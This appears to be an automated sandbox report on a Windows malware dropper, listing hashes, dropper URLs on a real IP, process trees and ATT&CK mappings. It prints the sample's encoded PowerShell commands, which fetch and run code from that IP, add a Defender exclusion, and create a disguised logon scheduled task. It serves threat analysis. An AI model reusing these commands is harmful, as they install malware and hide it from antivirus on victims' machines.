aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8

General

Target

file.exe
Size

35KB
MD5

90481d2c6fbbe8d4ae6108d756a48d9d
SHA1

b08f7eafa5b562a09792bc2d4b11837eb82496bc
SHA256

aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8
SHA512

884fc809ed957b71467ca7b767a75685223ef6f518d9feba13037a79ec1bd5ee5de97a54afdc77f9c75ec7ecf8669629630d0a1f153805a28dd0c180e92c004f
SSDEEP

768:L2nQISr0yhamQEj06ggM/y4r/wOPpdwMNhghy0qN:L2nxpyhamQnI4kmTghy0w

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

6 1760 powershell.exe
7 952 powershell.exe
8 1436 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

NoSleep.exe

pid process

1900 NoSleep.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

1436 powershell.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1340 schtasks.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe

pid process

1436 powershell.exe
1364 powershell.exe
952 powershell.exe
1760 powershell.exe
1436 powershell.exe
1436 powershell.exe
1264 conhost.exe

flow	pid	process
6	1760	powershell.exe
7	952	powershell.exe
8	1436	powershell.exe

pid	process
1900	NoSleep.exe

pid	process
1436	powershell.exe

pid	process
1340	schtasks.exe

pid	process
1436	powershell.exe
1364	powershell.exe
952	powershell.exe
1760	powershell.exe
1436	powershell.exe
1436	powershell.exe
1264	conhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	1264	conhost.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

file.exepowershell.exeNoSleep.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 1968 wrote to memory of 952	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 952	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 952	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1436	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1436	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1436	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1760	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1760	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1760	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1364	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1364	1968	file.exe	powershell.exe
PID 1968 wrote to memory of 1364	1968	file.exe	powershell.exe
PID 1436 wrote to memory of 1900	1436	powershell.exe	NoSleep.exe
PID 1436 wrote to memory of 1900	1436	powershell.exe	NoSleep.exe
PID 1436 wrote to memory of 1900	1436	powershell.exe	NoSleep.exe
PID 1900 wrote to memory of 1264	1900	NoSleep.exe	conhost.exe
PID 1900 wrote to memory of 1264	1900	NoSleep.exe	conhost.exe
PID 1900 wrote to memory of 1264	1900	NoSleep.exe	conhost.exe
PID 1900 wrote to memory of 1264	1900	NoSleep.exe	conhost.exe
PID 1264 wrote to memory of 1380	1264	conhost.exe	cmd.exe
PID 1264 wrote to memory of 1380	1264	conhost.exe	cmd.exe
PID 1264 wrote to memory of 1380	1264	conhost.exe	cmd.exe
PID 1264 wrote to memory of 1952	1264	conhost.exe	cmd.exe
PID 1264 wrote to memory of 1952	1264	conhost.exe	cmd.exe
PID 1264 wrote to memory of 1952	1264	conhost.exe	cmd.exe
PID 1380 wrote to memory of 1340	1380	cmd.exe	schtasks.exe
PID 1380 wrote to memory of 1340	1380	cmd.exe	schtasks.exe
PID 1380 wrote to memory of 1340	1380	cmd.exe	schtasks.exe
PID 1952 wrote to memory of 1348	1952	cmd.exe	schtasks.exe
PID 1952 wrote to memory of 1348	1952	cmd.exe	schtasks.exe
PID 1952 wrote to memory of 1348	1952	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1436

C:\Users\Admin\AppData\Roaming\NoSleep.exe
"C:\Users\Admin\AppData\Roaming\NoSleep.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1264

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
5⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
6⤵
- Creates scheduled task(s)
PID:1340

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
5⤵
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
6⤵
PID:1348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5326e9c0566aa368fd669b8bdc99ba78

SHA1
619361022c81d243b34c0c7852183893d1731184

SHA256
b432af9d4a3cdab64eba8e9c1c7de143525d60ee7ff2ffed7c5da0f673c3079a

SHA512
e805a3a2e4d5c020a50077a01d86ea43b7b11819380331bb6142c2ebf96d4d4e19e7f64352d107e8a8d89dce5dc518840983140f2e23c563378b8a75d3ea9234

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5326e9c0566aa368fd669b8bdc99ba78

SHA1
619361022c81d243b34c0c7852183893d1731184

SHA256
b432af9d4a3cdab64eba8e9c1c7de143525d60ee7ff2ffed7c5da0f673c3079a

SHA512
e805a3a2e4d5c020a50077a01d86ea43b7b11819380331bb6142c2ebf96d4d4e19e7f64352d107e8a8d89dce5dc518840983140f2e23c563378b8a75d3ea9234

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5326e9c0566aa368fd669b8bdc99ba78

SHA1
619361022c81d243b34c0c7852183893d1731184

SHA256
b432af9d4a3cdab64eba8e9c1c7de143525d60ee7ff2ffed7c5da0f673c3079a

SHA512
e805a3a2e4d5c020a50077a01d86ea43b7b11819380331bb6142c2ebf96d4d4e19e7f64352d107e8a8d89dce5dc518840983140f2e23c563378b8a75d3ea9234

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
memory/952-90-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/952-76-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/952-77-0x000007FEF28B0000-0x000007FEF340D000-memory.dmp

Filesize
11.4MB

Download
memory/952-86-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/952-59-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download
memory/952-63-0x000007FEF3410000-0x000007FEF3E33000-memory.dmp

Filesize
10.1MB

Download
memory/952-89-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/952-91-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/952-55-0x0000000000000000-mapping.dmp

Download
memory/952-78-0x000000001B7D0000-0x000000001BACF000-memory.dmp

Filesize
3.0MB

Download
memory/1264-97-0x00000000001B0000-0x000000000060B000-memory.dmp

Filesize
4.4MB

Download
memory/1264-96-0x000000001B900000-0x000000001BD5C000-memory.dmp

Filesize
4.4MB

Download
memory/1264-98-0x000000001B4A0000-0x000000001B8D4000-memory.dmp

Filesize
4.2MB

Download
memory/1340-102-0x0000000000000000-mapping.dmp

Download
memory/1348-103-0x0000000000000000-mapping.dmp

Download
memory/1364-73-0x0000000002234000-0x0000000002237000-memory.dmp

Filesize
12KB

Download
memory/1364-70-0x000007FEF28B0000-0x000007FEF340D000-memory.dmp

Filesize
11.4MB

Download
memory/1364-58-0x0000000000000000-mapping.dmp

Download
memory/1364-80-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

Filesize
3.0MB

Download
memory/1364-82-0x0000000002234000-0x0000000002237000-memory.dmp

Filesize
12KB

Download
memory/1364-83-0x000000000223B000-0x000000000225A000-memory.dmp

Filesize
124KB

Download
memory/1364-69-0x000007FEF3410000-0x000007FEF3E33000-memory.dmp

Filesize
10.1MB

Download
memory/1380-99-0x0000000000000000-mapping.dmp

Download
memory/1436-75-0x00000000028F4000-0x00000000028F7000-memory.dmp

Filesize
12KB

Download
memory/1436-85-0x00000000028FB000-0x000000000291A000-memory.dmp

Filesize
124KB

Download
memory/1436-56-0x0000000000000000-mapping.dmp

Download
memory/1436-68-0x000007FEF3410000-0x000007FEF3E33000-memory.dmp

Filesize
10.1MB

Download
memory/1436-72-0x000007FEF28B0000-0x000007FEF340D000-memory.dmp

Filesize
11.4MB

Download
memory/1436-95-0x00000000028FB000-0x000000000291A000-memory.dmp

Filesize
124KB

Download
memory/1436-88-0x00000000028F4000-0x00000000028F7000-memory.dmp

Filesize
12KB

Download
memory/1436-79-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1760-106-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/1760-74-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/1760-65-0x000007FEF3410000-0x000007FEF3E33000-memory.dmp

Filesize
10.1MB

Download
memory/1760-71-0x000007FEF28B0000-0x000007FEF340D000-memory.dmp

Filesize
11.4MB

Download
memory/1760-84-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/1760-104-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/1760-87-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/1760-57-0x0000000000000000-mapping.dmp

Download
memory/1760-105-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/1760-81-0x000000001B810000-0x000000001BB0F000-memory.dmp

Filesize
3.0MB

Download
memory/1900-93-0x0000000000000000-mapping.dmp

Download
memory/1952-101-0x0000000000000000-mapping.dmp

Download
memory/1968-54-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads